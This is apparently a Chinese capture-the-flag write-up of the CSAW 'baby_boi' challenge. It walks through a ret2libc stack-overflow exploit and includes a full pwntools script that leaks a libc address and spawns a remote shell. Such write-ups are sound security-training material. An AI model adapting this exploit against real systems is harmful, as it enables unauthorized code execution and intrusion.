当前位置:首页 > Write Up > 正文内容

[WP] CSAW baby_boi 复现

Luz2年前 (2019-09-17)Write Up559

等我看到这个比赛的时候它已经结束了...


题目还能下 ,在自己的服务器上搭了一下环境   nc 106.12.39.38 102


image.png



64位 , 溢出点长度无限  ,无system但是有输出 


标准的ret2libc的解法


image.png


获取gadget


image.png


感觉只需要一个参数,就只取了一个pop rdi ret'


接下来使用puts泄露puts的got内容  

payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)


原题给了libc ,然而在我这里没什么用 ,使用LibcSearcher 获取 libc版本


a=p.recvline()[-8:-1]
putsaddr=u64(a.ljust(8,'\x00'))
print hex(putsaddr)
libc=LibcSearcher('puts',putsaddr)


接着获取基址和system函数与'/bin/sh'字符串的偏移并算出真实地址


构建payload2

payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)



image.png


获取flag



payload:

from pwn import *
from LibcSearcher import *
p=remote("106.12.39.38",102)
#p=process('/mnt/hgfs/Desktop/baby_boi')
poprdi=0x0000000000400793
start=0x00000000004005A0
context.log_level = 'debug'
elf=ELF('/mnt/hgfs/Desktop/baby_boi')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
print putsplt
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)
p.sendline(payload)

print '1:'+p.recvline()
b=int(p.recvline()[13:],16)
print '2:'+hex(b)
sleep(1)
a=p.recvline()[-8:-1]
putsaddr=u64(a.ljust(8,'\x00'))
print hex(putsaddr)
libc=LibcSearcher('puts',putsaddr)
putsof=libc.dump('puts')
print putsof
base=putsaddr-putsof
sys=libc.dump('system')+base
print hex(sys)
bin=libc.dump('str_bin_sh')+base
print hex(base)
print hex(putsaddr)
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)
p.sendline(payload)
p.interactive()


其实不用这么复杂


刚开始想着把'/bin/sh'直接让程序读到变量里(因为程序输出了变量的地址)


不知道哪里出问题一直报错


后来才在libc里找现成的字符串直接用

标签: PWN
分享给朋友:

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。